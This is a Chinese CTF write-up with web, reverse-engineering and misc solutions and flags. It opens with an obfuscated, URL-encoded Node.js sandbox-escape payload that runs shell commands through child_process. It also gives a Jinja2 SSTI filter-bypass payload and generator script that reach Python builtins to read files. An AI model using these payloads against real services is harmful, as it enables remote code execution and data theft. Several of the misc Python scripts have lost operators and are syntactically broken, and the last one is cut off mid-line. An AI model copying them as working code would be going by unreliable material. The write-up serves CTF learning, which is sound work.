http://127.0.0.1:3000/?calc=%28%28%4d%61%74%68%29%3d%3e%28%4d%61%74%68%3d%4d%61%74%68%2e%63%6f%6e%73%74%72%75%63%74%6f%72%2c%4d%61%74%68%3d%4d%61%74%68%2e%63%6f%6e%73%74%72%75%63%74%6f%72%28%4d%61%74%68%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%31%31%38%2c%39%37%2c%31%31%34%2c%33%32%2c%31%31%34%2c%31%30%31%2c%31%31%35%2c%33%32%2c%36%31%2c%33%32%2c%34%30%2c%31%30%32%2c%31%31%37%2c%31%31%30%2c%39%39%2c%31%31%36%2c%31%30%35%2c%31%31%31%2c%31%31%30%2c%33%32%2c%34%30%2c%34%31%2c%33%32%2c%31%32%33%2c%31%30%2c%33%32%2c%33%32%2c%33%32%2c%33%32%2c%31%31%36%2c%31%31%34%2c%31%32%31%2c%33%32%2c%31%32%33%2c%33%32%2c%31%31%34%2c%31%30%31%2c%31%31%33%2c%31%31%37%2c%31%30%35%2c%31%31%34%2c%31%30%31%2c%34%30%2c%33%39%2c%39%39%2c%31%30%34%2c%31%30%35%2c%31%30%38%2c%31%30%30%2c%39%35%2c%31%31%32%2c%31%31%34%2c%31%31%31%2c%39%39%2c%31%30%31%2c%31%31%35%2c%31%31%35%2c%33%39%2c%34%31%2c%34%36%2c%31%30%31%2c%31%32%30%2c%31%30%31%2c%39%39%2c%38%33%2c%31%32%31%2c%31%31%30%2c%39%39%2c%34%30%2c%33%34%2c%31%30%35%2c%31%30%30%2c%31%30%31%2c%39%37%2c%33%34%2c%34%31%2c%33%32%2c%31%32%35%2c%33%32%2c%39%39%2c%39%37%2c%31%31%36%2c%39%39%2c%31%30%34%2c%33%32%2c%34%30%2c%31%30%31%2c%34%31%2c%33%32%2c%31%32%33%2c%33%32%2c%31%32%35%2c%33%32%2c%33%32%2c%31%30%2c%33%32%2c%33%32%2c%33%32%2c%33%32%2c%31%30%38%2c%31%30%31%2c%31%31%36%2c%33%32%2c%39%38%2c%31%31%37%2c%31%30%32%2c%31%30%32%2c%31%30%31%2c%31%31%34%2c%33%32%2c%36%31%2c%33%32%2c%31%32%33%2c%31%30%2c%33%32%2c%33%32%2c%33%32%2c%33%32%2c%33%32%2c%33%32%2c%31%30%34%2c%31%30%31%2c%31%32%30%2c%38%33%2c%31%30%38%2c%31%30%35%2c%39%39%2c%31%30%31%2c%35%38%2c%33%32%2c%34%30%2c%34%31%2c%33%32%2c%36%31%2c%36%32%2c%33%32%2c%33%34%2c%33%34%2c%34%34%2c%31%30%2c%33%32%2c%33%32%2c%33%32%2c%33%32%2c%33%32%2c%33%32%2c%31%30%39%2c%39%37%2c%31%30%33%2c%31%30%35%2c%39%39%2c%35%38%2c%33%32%2c%31%32%33%2c%31%30%2c%33%32%2c%33%32%2c%33%32%2c%33%32%2c%33%32%2c%33%32%2c%33%32%2c%33%32%2c%31%30%33%2c%31%30%31%2c%31%31%36%2c%33%32%2c%39%31%2c%38%33%2c%31%32%31%2c%31%30%39%2c%39%38%2c%31%31%31%2c%31%30%38%2c%34%36%2c%31%30%32%2c%31%31%31%2c%31%31%34%2c%34%30%2c%33%34%2c%31%31%30%2c%31%31%31%2c%31%30%30%2c%31%30%31%2c%31%30%36%2c%31%31%35%2c%34%36%2c%31%31%37%2c%31%31%36%2c%31%30%35%2c%31%30%38%2c%34%36%2c%31%30%35%2c%31%31%30%2c%31%31%35%2c%31%31%32%2c%31%30%31%2c%39%39%2c%31%31%36%2c%34%36%2c%39%39%2c%31%31%37%2c%31%31%35%2c%31%31%36%2c%31%31%31%2c%31%30%39%2c%33%34%2c%34%31%2c%39%33%2c%34%30%2c%34%31%2c%33%32%2c%31%32%33%2c%31%30%2c%33%32%2c%33%32%2c%33%32%2c%33%32%2c%33%32%2c%33%32%2c%33%32%2c%33%32%2c%33%32%2c%33%32%2c%31%31%36%2c%31%30%34%2c%31%31%34%2c%31%31%31%2c%31%31%39%2c%33%32%2c%31%30%32%2c%33%32%2c%36%31%2c%36%32%2c%33%32%2c%31%30%32%2c%34%36%2c%39%39%2c%31%31%31%2c%31%31%30%2c%31%31%35%2c%31%31%36%2c%31%31%34%2c%31%31%37%2c%39%39%2c%31%31%36%2c%31%31%31%2c%31%31%34%2c%34%30%2c%33%34%2c%31%31%34%2c%31%30%31%2c%31%31%36%2c%31%31%37%2c%31%31%34%2c%31%31%30%2c%33%32%2c%31%31%32%2c%31%31%34%2c%31%31%31%2c%39%39%2c%31%30%31%2c%31%31%35%2c%31%31%35%2c%33%34%2c%34%31%2c%34%30%2c%34%31%2c%35%39%2c%31%30%2c%33%32%2c%33%32%2c%33%32%2c%33%32%2c%33%32%2c%33%32%2c%33%32%2c%33%32%2c%31%32%35%2c%31%30%2c%33%32%2c%33%32%2c%33%32%2c%33%32%2c%33%32%2c%33%32%2c%31%32%35%2c%31%30%2c%33%32%2c%33%32%2c%33%32%2c%33%32%2c%31%32%35%2c%35%39%2c%31%30%2c%33%32%2c%33%32%2c%33%32%2c%33%32%2c%31%31%36%2c%31%31%34%2c%31%32%31%2c%33%32%2c%31%32%33%2c%31%30%2c%33%32%2c%33%32%2c%33%32%2c%33%32%2c%33%32%2c%33%32%2c%36%36%2c%31%31%37%2c%31%30%32%2c%31%30%32%2c%31%30%31%2c%31%31%34%2c%34%36%2c%31%31%32%2c%31%31%34%2c%31%31%31%2c%31%31%36%2c%31%31%31%2c%31%31%36%2c%31%32%31%2c%31%31%32%2c%31%30%31%2c%34%36%2c%31%30%35%2c%31%31%30%2c%31%31%35%2c%31%31%32%2c%31%30%31%2c%39%39%2c%31%31%36%2c%34%36%2c%39%39%2c%39%37%2c%31%30%38%2c%31%30%38%2c%34%30%2c%39%38%2c%31%31%37%2c%31%30%32%2c%31%30%32%2c%31%30%31%2c%31%31%34%2c%34%34%2c%33%32%2c%34%38%2c%34%34%2c%33%32%2c%31%32%33%2c%33%32%2c%39%39%2c%31%31%37%2c%31%31%35%2c%31%31%36%2c%31%31%31%2c%31%30%39%2c%37%33%2c%31%31%30%2c%31%31%35%2c%31%31%32%2c%31%30%31%2c%39%39%2c%31%31%36%2c%35%38%2c%33%32%2c%31%31%36%2c%31%31%34%2c%31%31%37%2c%31%30%31%2c%33%32%2c%31%32%35%2c%34%31%2c%35%39%2c%31%30%2c%33%32%2c%33%32%2c%33%32%2c%33%32%2c%31%32%35%2c%33%32%2c%39%39%2c%39%37%2c%31%31%36%2c%39%39%2c%31%30%34%2c%33%32%2c%34%30%2c%31%30%31%2c%34%31%2c%33%32%2c%31%32%33%2c%31%30%2c%33%32%2c%33%32%2c%33%32%2c%33%32%2c%33%32%2c%33%32%2c%31%31%34%2c%31%30%31%2c%31%31%36%2c%31%31%37%2c%31%31%34%2c%31%31%30%2c%33%32%2c%31%30%31%2c%34%30%2c%34%30%2c%34%31%2c%33%32%2c%36%31%2c%36%32%2c%33%32%2c%34%38%2c%34%31%2c%34%36%2c%31%30%39%2c%39%37%2c%31%30%35%2c%31%31%30%2c%37%37%2c%31%31%31%2c%31%30%30%2c%31%31%37%2c%31%30%38%2c%31%30%31%2c%34%36%2c%31%31%34%2c%31%30%31%2c%31%31%33%2c%31%31%37%2c%31%30%35%2c%31%31%34%2c%31%30%31%2c%34%30%2c%33%39%2c%39%39%2c%31%30%34%2c%31%30%35%2c%31%30%38%2c%31%30%30%2c%39%35%2c%31%31%32%2c%31%31%34%2c%31%31%31%2c%39%39%2c%31%30%31%2c%31%31%35%2c%31%31%35%2c%33%39%2c%34%31%2c%34%36%2c%31%30%31%2c%31%32%30%2c%31%30%31%2c%39%39%2c%38%33%2c%31%32%31%2c%31%31%30%2c%39%39%2c%34%30%2c%33%34%2c%39%39%2c%39%37%2c%31%31%36%2c%33%32%2c%34%37%2c%31%30%32%2c%31%30%38%2c%39%37%2c%31%30%33%2c%33%34%2c%34%31%2c%35%39%2c%31%30%2c%33%32%2c%33%32%2c%33%32%2c%33%32%2c%31%32%35%2c%31%30%2c%33%32%2c%33%32%2c%31%32%35%2c%34%31%2c%34%30%2c%34%31%2c%35%39%2c%31%31%34%2c%31%30%31%2c%31%31%36%2c%31%31%37%2c%31%31%34%2c%31%31%30%2c%33%32%2c%31%31%34%2c%31%30%31%2c%31%31%35%29%29%29%29%28%4d%61%74%68%2b%31%29%28%29
### ezflask
出这个题是想自己挖一点新的的东西,出来,然后看了 python 源码剖析,本来的想法是利用 code
类,构造字节码执行命令,,但是后来发现其实不用找基类就可以执行任意命令,就没那样出,然后这个 trick 出给别的地方了,当时还有另一个想法,就是没有
requests,chr,还能不能构造任意字符呢,然后为了增加难度,就随手 ban 了+,_,自己试着挖出来一种利用方式,就有了这个题,
get %
找到特殊字符<,url 编码,得到%
{%set pc = g|lower|list|first|urlencode|first%}
get 'c'
{%set c=dict(c=1).keys()|reverse|first%}
字符串拼接
{%set udl=dict(a=pc,c=c).values()|join %}
这样就可以得到任意字符了
get _
{%set udl2=udl%(95)%}{{udl}}
{%set all=dict(a=all,c=res).values()|join %}
写个脚本
payload = '{%set pc = g|lower|list|first|urlencode|first%}{%set c=dict(c=1).keys()|reverse|first%}{%set udl=dict(a=pc,c=c).values()|join %}'
payload = ''
def get_alp(alp, goal):
num = ord(alp)
result = '{%set {goal}=dict(a={goal},c=udl%({num})).values()|join %}'.replace(
'{num}', str(num)).replace('{goal}', goal)
return result
def get_word(des, goal):
# goal = 'ds2'
# des = '__globals__'
result = ''
for i in des:
result += (get_alp(i, goal))
return result
def main():
# poc = "url_for.__globals__.__builtins__.open('/flag').read()"
i = 0
while(1):
text = input('>')
print('i'+str(i), end=':')
print(get_word(text, 'i'+str(i)))
i += 1
main()
最终 paylaod
http://127.0.0.1:19009/?name={%set pc = g|lower|list|first|urlencode|first%}{%set c=dict(c=1).keys()|reverse|first%}{%set udl=dict(a=pc,c=c).values()|join %}{%set ds=dict(a=ds,c=udl%(95)).values()|join %}{%set ds=dict(a=ds,c=udl%(95)).values()|join %}{%set ds=dict(a=ds,c=udl%(105)).values()|join %}{%set ds=dict(a=ds,c=udl%(110)).values()|join %}{%set ds=dict(a=ds,c=udl%(105)).values()|join %}{%set ds=dict(a=ds,c=udl%(116)).values()|join %}{%set ds=dict(a=ds,c=udl%(95)).values()|join %}{%set ds=dict(a=ds,c=udl%(95)).values()|join %}
{%set ds2=dict(a=ds2,c=udl%(95)).values()|join %}{%set ds2=dict(a=ds2,c=udl%(95)).values()|join %}{%set ds2=dict(a=ds2,c=udl%(103)).values()|join %}{%set ds2=dict(a=ds2,c=udl%(108)).values()|join %}{%set ds2=dict(a=ds2,c=udl%(111)).values()|join %}{%set ds2=dict(a=ds2,c=udl%(98)).values()|join %}{%set ds2=dict(a=ds2,c=udl%(97)).values()|join %}{%set ds2=dict(a=ds2,c=udl%(108)).values()|join %}{%set ds2=dict(a=ds2,c=udl%(115)).values()|join %}{%set ds2=dict(a=ds2,c=udl%(95)).values()|join %}{%set ds2=dict(a=ds2,c=udl%(95)).values()|join %}
{%set i0=dict(a=i0,c=udl%(47)).values()|join %}{%set i0=dict(a=i0,c=udl%(102)).values()|join %}{%set i0=dict(a=i0,c=udl%(108)).values()|join %}{%set i0=dict(a=i0,c=udl%(97)).values()|join %}{%set i0=dict(a=i0,c=udl%(103)).values()|join %}
{%set i1=dict(a=i1,c=udl%(95)).values()|join %}{%set i1=dict(a=i1,c=udl%(95)).values()|join %}{%set i1=dict(a=i1,c=udl%(98)).values()|join %}{%set i1=dict(a=i1,c=udl%(117)).values()|join %}{%set i1=dict(a=i1,c=udl%(105)).values()|join %}{%set i1=dict(a=i1,c=udl%(108)).values()|join %}{%set i1=dict(a=i1,c=udl%(116)).values()|join %}{%set i1=dict(a=i1,c=udl%(105)).values()|join %}{%set i1=dict(a=i1,c=udl%(110)).values()|join %}{%set i1=dict(a=i1,c=udl%(115)).values()|join %}{%set i1=dict(a=i1,c=udl%(95)).values()|join %}{%set i1=dict(a=i1,c=udl%(95)).values()|join %}
{%for k,v in (app|attr(ds)|attr(ds2)).items()%}{%if (k|string )==i1 %}{{v.open(i0).read()}}{%endif%}{%endfor%}
## re
### 白给.exe
直接在程序里就可以找到 flag
用 ida 查看。第一个在 data 段，第二个在 main 函数的反汇编窗口中可以看见。
**flag{kjdfeoijfeoncknafljfsdklf679756876}**
### 98 年的，我玩不过她
_int64 sub_140011950()
{
char *v0; // rdi
signed __int64 i; // rcx
char v3; // [rsp+0h] [rbp-20h]
char Buffer[64]; // [rsp+28h] [rbp+8h]
char v5[44]; // [rsp+68h] [rbp+48h]
int j; // [rsp+94h] [rbp+74h]
char Str1; // [rsp+B8h] [rbp+98h]
v0 = &v3;
for ( i = 106i64; i; --i )
{
*(_DWORD *)v0 = -858993460;
v0 += 4;
}
sub_140011087(&unk_140021006);
sub_1400111D6("miss fish tell you the secret\n");
sub_1400111D6("miss fish:%s\n");
sub_1400111D6("please tell me your flag\n");
j_gets_0(Buffer);
for ( j = 0; j < 10; ++j )
v5[j] = Buffer[j + 5];
memset(&Str1, 0, 0xAui64);
sub_14001128A(v5, &Str1);
if ( j_strcmp_0(&Str1, "I_love_y&u") )
{
sub_1400111D6("You have been done!\n");
exit(1);
}
sub_1400111D6("you finally get it\n");
sub_140011348(&v3, &unk_14001AA80);
return 0i64;
}
主函数最后给出了比较的字符串“I_love_y&u”
for ( j = 0; j < 10; ++j )
v5[j] = Buffer[j + 5];
取出 flag 中间部分，去掉 flag{}
主要类似 VM 的题的部分在这里
Dest = a2;
v32 = a1;
v2 = &v5;
for ( i = 298i64; i; --i )
{
*(_DWORD *)v2 = -858993460;
v2 += 4;
}
sub_140011087(&unk_140021006);
v6 = 10;
for ( j = 0; j < v6; ++j )
{
v7 = *(_BYTE *)(v32 + j);
v31 = v7 - 48;
switch ( v7 )
{
case 0x30u:
Source = v7 - 48;
v11 = 1i64;
v9 = 0;
j_strcat_0(Dest, &Source);
continue;
case 0x31u:
v7 = v7 & 1 | 0x48;
Source = v7;
v12 = 1i64;
v9 = 0;
j_strcat_0(Dest, &Source);
continue;
case 0x32u:
v7 = v7 & 2 ^ 0x48;
Source = v7;
v13 = 1i64;
v9 = 0;
j_strcat_0(Dest, &Source);
continue;
case 0x33u:
v7 = (v7 & 3) + 72;
Source = v7;
v14 = 1i64;
v9 = 0;
j_strcat_0(Dest, &Source);
continue;
case 0x34u:
v7 = (v7 | 1) + 23;
Source = v7;
v15 = 1i64;
v9 = 0;
j_strcat_0(Dest, &Source);
continue;
case 0x35u:
v7 = (v7 | 2) + 10;
Source = v7;
v16 = 1i64;
v9 = 0;
j_strcat_0(Dest, &Source);
continue;
case 0x36u:
v7 = (v7 | 3) + 11;
goto LABEL_15;
case 0x45u:
v7 += 32;
Source = v7;
v18 = 1i64;
v9 = 0;
j_strcat_0(Dest, &Source);
continue;
case 0x5Fu:
LABEL_15:
Source = v7;
v17 = 1i64;
v9 = 0;
j_strcat_0(Dest, &Source);
continue;
case 0x61u:
v7 ^= 0xEu;
Source = v7;
v19 = 1i64;
v9 = 0;
j_strcat_0(Dest, &Source);
continue;
case 0x62u:
v7 ^= 0xDu;
Source = v7;
v20 = 1i64;
v9 = 0;
j_strcat_0(Dest, &Source);
goto LABEL_19;
case 0x63u:
LABEL_19:
v7 ^= 0x15u;
Source = v7;
v21 = 1i64;
v9 = 0;
j_strcat_0(Dest, &Source);
goto LABEL_20;
case 0x64u:
LABEL_20:
v7 ^= 1u;
Source = v7;
v22 = 1i64;
v9 = 0;
j_strcat_0(Dest, &Source);
goto LABEL_21;
case 0x65u:
LABEL_21:
Source = v7;
v23 = 1i64;
v9 = 0;
j_strcat_0(Dest, &Source);
continue;
case 0x68u:
v7 += 4;
Source = v7;
v24 = 1i64;
v9 = 0;
j_strcat_0(Dest, &Source);
continue;
case 0x6Au:
v7 &= 0x60u;
Source = v7;
v25 = 1i64;
v9 = 0;
j_strcat_0(Dest, &Source);
continue;
case 0x6Bu:
v7 ^= 0x4Eu;
Source = v7;
v26 = 1i64;
v9 = 0;
j_strcat_0(Dest, &Source);
continue;
case 0x6Cu:
v7 -= 75;
goto LABEL_26;
case 0x6Fu:
LABEL_26:
v7 = 38;
Source = 38;
v27 = 1i64;
v9 = 0;
j_strcat_0(Dest, &Source);
break;
case 0x74u:
v7 += 2;
Source = v7;
v28 = 1i64;
v9 = 0;
j_strcat_0(Dest, &Source);
break;
case 0x75u:
v7 = 2 * ((signed int)v7 >> 1) + 1;
Source = v7;
v29 = 1i64;
v9 = 0;
j_strcat_0(Dest, &Source);
break;
case 0x79u:
v7 = 8 * ((signed int)v7 >> 3) | 1;
Source = v7;
v30 = 1i64;
v9 = 0;
j_strcat_0(Dest, &Source);
break;
default:
continue;
}
}
return sub_140011348(&v5, &unk_140019C80);
}
其实这题基本上已经不需要逆向的思维了，直接写个类似的代码跑出来答案一一对比就好了，具体代码就不写了，手算也可以做出来。
**flag{1_hatE_you}**
### four steps.exe
主函数伪代码如下：
__int64 sub_1400159A0()
{
char *v0; // rdi
signed __int64 i; // rcx
char v3; // [rsp+0h] [rbp-20h]
char Buffer; // [rsp+30h] [rbp+10h]
char v5; // [rsp+31h] [rbp+11h]
unsigned __int8 v6; // [rsp+32h] [rbp+12h]
unsigned __int8 v7; // [rsp+33h] [rbp+13h]
v0 = &v3;
for ( i = 130i64; i; --i )
{
*(_DWORD *)v0 = -858993460;
v0 += 4;
}
sub_140011082((__int64)&unk_140021006);
sub_1400111D1("请输入你的 flag 吧\n");
j_gets_0(&Buffer);
sub_1400113AC((__int64)&Buffer, 4i64);
if ( Buffer != 96 || v5 != 106 || v6 != 153 || v7 != 159 )
exit(1);
if ( !(unsigned int)sub_1400113B1(&Buffer, 4i64) )
sub_1400113B6((__int64)&Buffer, 4i64);
sub_1400113C5((__int64)&Buffer, 4i64);
sub_14001133E((__int64)&v3, (__int64)&unk_14001A910);
return 0i64;
}
3AC,3B1,3B6,3C5 是加密的四个函数。Buffer 是你要输入的 flag。
第一个加密函数
void __fastcall sub_1400156E0(__int64 a1, int a2)
{
char *v2; // rdi
signed __int64 i; // rcx
char v4; // [rsp+0h] [rbp-20h]
int j; // [rsp+24h] [rbp+4h]
int v6[261]; // [rsp+50h] [rbp+30h]
int v7; // [rsp+464h] [rbp+444h]
int v8; // [rsp+484h] [rbp+464h]
__int64 v9; // [rsp+700h] [rbp+6E0h]
int v10; // [rsp+708h] [rbp+6E8h]
v10 = a2;
v9 = a1;
v2 = &v4;
for ( i = 0x1BAi64; i; --i )
{
*(_DWORD *)v2 = 3435973836;
v2 += 4;
}
sub_140011082((__int64)&unk_140021006);
for ( j = 0; j < 256; ++j )
v6[j] = j;
for ( j = 0; j < 128; ++j )
{
if ( j % 2 == 1 )
{
v7 = v6[j];
v6[j] = v6[256 - j];
v6[256 - j] = v7;
}
}
for ( j = 0; j < v10; ++j )
{
v8 = v6[*(unsigned __int8 *)(v9 + j)];
*(_BYTE *)(v9 + j) = v8 ^ 6;
}
sub_14001133E((__int64)&v4, (__int64)&unk_14001A8B0);
}
将 0~255 放到一个数组中，再讲奇数位和 255-该奇数位进行一次换位，形成当前的一个随机数盒。
flag 输入的前四位的每一位作为随机数盒的下标得到的随机数盒的值和 6 进行异或，最后得出来的值进行比较。
第二个加密函数
__int64 __fastcall sub_140015D30(unsigned __int8 *a1)
{
__int64 *v1; // rdi
signed __int64 i; // rcx
__int64 v4; // [rsp+0h] [rbp-20h]
int v5; // [rsp+E0h] [rbp+C0h]
unsigned __int8 *v6; // [rsp+110h] [rbp+F0h]
v6 = a1;
v1 = &v4;
for ( i = 62i64; i; --i )
{
*(_DWORD *)v1 = -858993460;
v1 = (__int64 *)((char *)v1 + 4);
}
sub_140011082((__int64)&unk_140021006);
v5 = (signed int)v6[4] >> 4;
if ( ((signed int)v6[5] >> 4) + v5 != 13
|| (v5 = (signed int)v6[6] >> 4, ((signed int)v6[7] >> 4) + v5 != 13)
|| (v5 = v6[4] & 0xF, v5 - (v6[5] & 0xF) != 10)
|| (v5 = v6[6] & 0xF, v5 - (v6[7] & 0xF) != 11)
|| (v5 = v6[6] & 0xF, v5 - (v6[5] & 0xF) != 13)
|| (v5 = (signed int)v6[5] >> 4, v5 != (signed int)v6[6] >> 4) )
{
exit(2);
}
return 0i64;
}
这个函数有点类似解方程，把它列出来可以找找突破口（嘤嘤嘤，太懒了，懒得写出来了）。
第三个加密函数
int __fastcall sub_140016370(__int64 a1, int a2)
{
__int64 *v2; // rdi
signed __int64 i; // rcx
size_t v4; // rax
int result; // eax
__int64 v6; // [rsp+0h] [rbp-20h]
const char *v7; // [rsp+28h] [rbp+8h]
int v8; // [rsp+44h] [rbp+24h]
char *Str1; // [rsp+68h] [rbp+48h]
int v10; // [rsp+84h] [rbp+64h]
int v11; // [rsp+A4h] [rbp+84h]
int v12; // [rsp+C4h] [rbp+A4h]
int v13; // [rsp+194h] [rbp+174h]
__int64 v14; // [rsp+1C0h] [rbp+1A0h]
int v15; // [rsp+1C8h] [rbp+1A8h]
v15 = a2;
v14 = a1;
v2 = &v6;
for ( i = 106i64; i; --i )
{
*(_DWORD *)v2 = -858993460;
v2 = (__int64 *)((char *)v2 + 4);
}
sub_140011082((__int64)&unk_140021006);
v7 = "AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz1234567890+/";
v8 = 4 * (v15 / 3) + 4;
v4 = v8 + 1i64;
if ( (unsigned __int64)v8 >= 0xFFFFFFFFFFFFFFFFui64 )
v4 = -1i64;
Str1 = (char *)malloc(v4);
Str1[v8] = 0;
v10 = 0;
v11 = 0;
while ( v10 < v8 - 2 )
{
Str1[v10] = v7[(signed int)*(unsigned __int8 *)(v14 + v11 + 8) >> 2];
Str1[v10 + 1] = v7[((signed int)*(unsigned __int8 *)(v14 + v11 + 9) >> 4) | 16 * (*(_BYTE *)(v14 + v11 + 8) & 3)];
Str1[v10 + 2] = v7[((signed int)*(unsigned __int8 *)(v14 + v11 + 10) >> 6) | 4 * (*(_BYTE *)(v14 + v11 + 9) & 0xF)];
Str1[v10 + 3] = v7[*(_BYTE *)(v14 + v11 + 10) & 0x3F];
v11 += 3;
v10 += 4;
}
v13 = v15 % 3;
if ( v15 % 3 == 1 )
{
Str1[v10 - 2] = 61;
Str1[v10 - 1] = 61;
}
else if ( v13 == 2 )
{
Str1[v10 - 1] = 61;
}
v12 = 0;
result = j_strcmp_0(Str1, "o3kZl3==");
v12 = result;
if ( result )
exit(3);
return result;
}
这个是换了表的 base64 编码，可以用解密软件来算答案。
最后一个加密部分如下：
__int64 __fastcall sub_140016210(unsigned __int8 *a1, int a2)
{
__int64 *v2; // rdi
signed __int64 i; // rcx
__int64 result; // rax
__int64 v5; // [rsp+0h] [rbp-20h]
int j; // [rsp+24h] [rbp+4h]
int v7; // [rsp+44h] [rbp+24h]
int v8; // [rsp+114h] [rbp+F4h]
unsigned __int8 *v9; // [rsp+140h] [rbp+120h]
int v10; // [rsp+148h] [rbp+128h]
v10 = a2;
v9 = a1;
v2 = &v5;
for ( i = 74i64; i; --i )
{
*(_DWORD *)v2 = -858993460;
v2 = (__int64 *)((char *)v2 + 4);
}
sub_140011082((__int64)&unk_140021006);
for ( j = 0; j < v10; ++j )
{
v8 = (signed int)v9[j + 12] >> 4;
v7 = 16 * (v9[j + 12] & 0xF) + v8;
v9[j + 12] = v7;
}
if ( v9[12] != 214 || v9[13] != 86 || v9[14] != 18 || (result = v9[15], (_DWORD)result != 215) )
exit(4);
return result;
}
for 循环对最后四个数字进行数字的十位和个位的交换。
flag： **flag{answer_me!}**
### tea.exe（0 解）
第一个加密函数中给出了字符串，进行小写变大写，_变空格操作后成为新的字符串。
往下可以看到给出的表，总共 66 位，然后我写 wp 的时候发现题目有问题，所以这题作废了，就当做这道题没存在。（尴尬）
### mov.exe（0 解）
这个题懒得写了，全靠感觉和经验。（虽然我也不会）
很困扰人的 mov 混淆，目前好像没有效果很好的反混淆程序。考虑到这点题目代码很简单，源代码如下：
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
char ChangeFlag[]={-14,-7,-16,-10,0,1,-11,0,-43,-4,-83,1,23,20,-6,39,9,-11,-2,-12,7,-3,-11,19};
char sinFlag[]="ctfflag{It's_wrong_flag}";
int main(){
//flag{welcome_to_reverse}
//printf("input your flag\n");
char flag[25]={0};
int i;
printf("input your flag\n");
scanf("%s",flag);
for(i=0;i<24;i++){
flag[i]^=23;
flag[i]+=ChangeFlag[i];
}
if(strcmp(flag,sinFlag)==0){
printf("right\n");
}
else{
printf("baby,nonononono!\n");
}
return 0;
}
mov 虽然让程序变得混乱，但是关键部位还是可以找到规律。
**flag{welcome_to_reverse}**
## misc
### **Hacked_By_PTT0**
Hint： 看看里面几个比较大的东西
朴实无华流量分析，没准大佬能看出这题的流量是 Netsparker 的扫描流量。其中有个 shell.php，然后上传了一个
Hacked_By_PTT0.doc，然后 flag 伪装成了一个 doc 的配置文件。
**解题：**
面对一堆流量包，可以直接字符串搜索一下关键字 flag、shell、upload 啥的，这里用 shell、upfile、sql 等都可直接定位到
shell 文件。
追踪 HTTP 流，可以看到其中有一个 POST 请求包含 upfiles，继续查看可发现上传了一个 doc 文件.
对 Data 右键，导出分组字节流，保存为 bin 文件
改后缀为.zip，解压得到 doc 得配置文件。熟悉 doc、一个个试或用工具都能发现其 jquerySettings.xml 是一个 PNG 格式的文件
但是改成 PNG 会打不开，用 winhex 分析，此处多了个 20
打开即可得到 **flag{S0_sO_eAsy_MISc?}**
### α层
#### Description
这波啊，这波在阿尔法层
#### Analyze
#### Solve
没啥难的，加个异或或者阿尔法图层就出了
#### flag
flag{YjZCVprHLi8Hi2hXgDZi2kOR9tWZQqSV}
* * *
### 我的二维码，时尚时尚最时尚
#### Description
二维码真的好玩，于是尖尖自己设计了一个二维码，你能扫出来吗？
#### Analyze
看似正常的二维码，foremost 后得到
易看出是掩码，根据二维码的规则异或即可。
#### Solve
脚本一把梭
from PIL import Image
p1 = Image.open('qrcode.png').convert('L')
p2 = Image.open('掩码.png').convert('L')
a1,b1 = p1.size
a2,b2 = p2.size
p1_block = 12
p1_data = []
for y in range(10,b1,p1_block):
for x in range(10,a1,p1_block):
print(x,y,p1.getpixel((x,y)))
if p1.getpixel((x,y)) != 255:
p1_data.append(1)
else:
p1_data.append(0)
y_start = 3 x_start=4
p2_block = 11
p2_data = []
for y in range(4,b2,p2_block):
for x in range(4,a2,p2_block):
if p2.getpixel((x, y)) != 0:
p2_data.append(0)
else:
p2_data.append(1)
print(len(p2_data))
fin_data = []
for i in range(len(p2_data)):
fin_data.append(p1_data[i] [i])
b = Image.new('L',(10,10),0)
w = Image.new('L',(10,10),255)
np = Image.new('L',(290,290),255)
for i in range(len(fin_data)):
x = i % 29
y = i // 29
if p1_data[i] == 1:
np.paste(b, (x 10, y 10))
else:
np.paste(w, (x 10, y 10))
np.save("p1.png")
for i in range(len(fin_data)):
x = i % 29
y = i // 29
if p2_data[i] == 1:
np.paste(b, (x 10, y 10))
else:
np.paste(w, (x 10, y 10))
np.save("p2.png")
for i in range(len(fin_data)):
x = i%29
y = i//29
if fin_data[i] == 1:
np.paste(b,(x10,y10))
else:
np.paste(w,(x10,y10))
np.save("res.png")
#### flag
flag{23fea3b2b924e1ed92731e0141e883a0}
* * *
### make_misc_great_again
#### Description
神秘代码 1whGlIjZ1ReEiTUSXxSbZUw/vnz4
#### Analyze
贴吧老司机都知道了，是百度云盘的分享链接后缀，加上
[https://pan.baidu.com/s/后得到下载地址，](https://pan.baidu.com/s/%E5%90%8E%E5%BE%97%E5%88%B0%E4%B8%8B%E8%BD%BD%E5%9C%B0%E5%9D%80%EF%BC%8C)
`/`
后是提取密码，然后是一个压缩包，很容易想到是内存取证类型的题。解压后是一个镜像和另一个压缩包，然后因为出题时间比较久远，所以有一个非预期（求轻虐）。即直接
`strings flag？？.raw | grep flag`
即可得到 flag，原因是当时制作镜像的时候未清理粘贴板记录，导致了该非预期。预期解应该是通过 volatility 找到系统密码，解压压缩包。详细操作见
[https://blog.51cto.com/13352079/2434792?source=dra。解压后是一个](https://blog.51cto.com/13352079/2434792?source=dra%E3%80%82%E8%A7%A3%E5%8E%8B%E5%90%8E%E6%98%AF%E4%B8%80%E4%B8%AA)
bitLocker 的虚拟硬盘，猜测密码仍在镜像中，此处可以用 `Elcomsoft Forensic Disk Decryptor` 工具直接提取出
key，然后打开后看隐藏文件即可得到 flag。
#### flag
flag{d136b36415188a2ddf04e5bd64be2ba3}
* * *
### Broken RedLine
#### Description
尖尖的红线断开了，呜呜呜呜呜呜呜
#### Analyze
图片名称为 Find_right_width_and_hieht_by_CRC32.png，于是用 crc32 的脚本爆破出宽高
import zlib
import struct
filename = 'mod.png'
with open(filename, 'rb') as f:
all_b = f.read()
data_f = all_b[:12]
data = all_b[12:29]
print(data)
data_r = all_b[29:]
data_idch = all_b[12:17]
data_l = all_b[25:29]
width = all_b[17:21]
height = all_b[21:25]
print(width, height)
crc32key = int(all_b[29:33].hex(), 16)
data = ''
for w in range(0, 1960):
for h in range(0, 1960):
width = struct.pack('>i', w)
height = struct.pack('>i', h)
data = data_idch + width + height + data_l
print(data)
print(len(data))
if zlib.crc32(data) == crc32key:
print(w, h)
with open('r.png', 'wb') as f1:
f1.write(data_f + data + data_r)
break
得到其宽为 1440，高为 960
然后上面有很多的红线，尝试将所有红线移到下方即可得到 flag
#### Solve
python
from PIL import Image
def re_turn(pixels,num):
return pixels[num:] [:num]
p = Image.open('res.png').convert('RGB')
a,b = p.size
pixels = []
for x in range(a):
pixel = []
for y in range(b):
pixel.append(p.getpixel((x,y)))
pixels.append(pixel)
data = []
for i in pixels:
for j in range(len(i)):
if i[j] [j-1] and i[j-1] == (255, 0, 0):
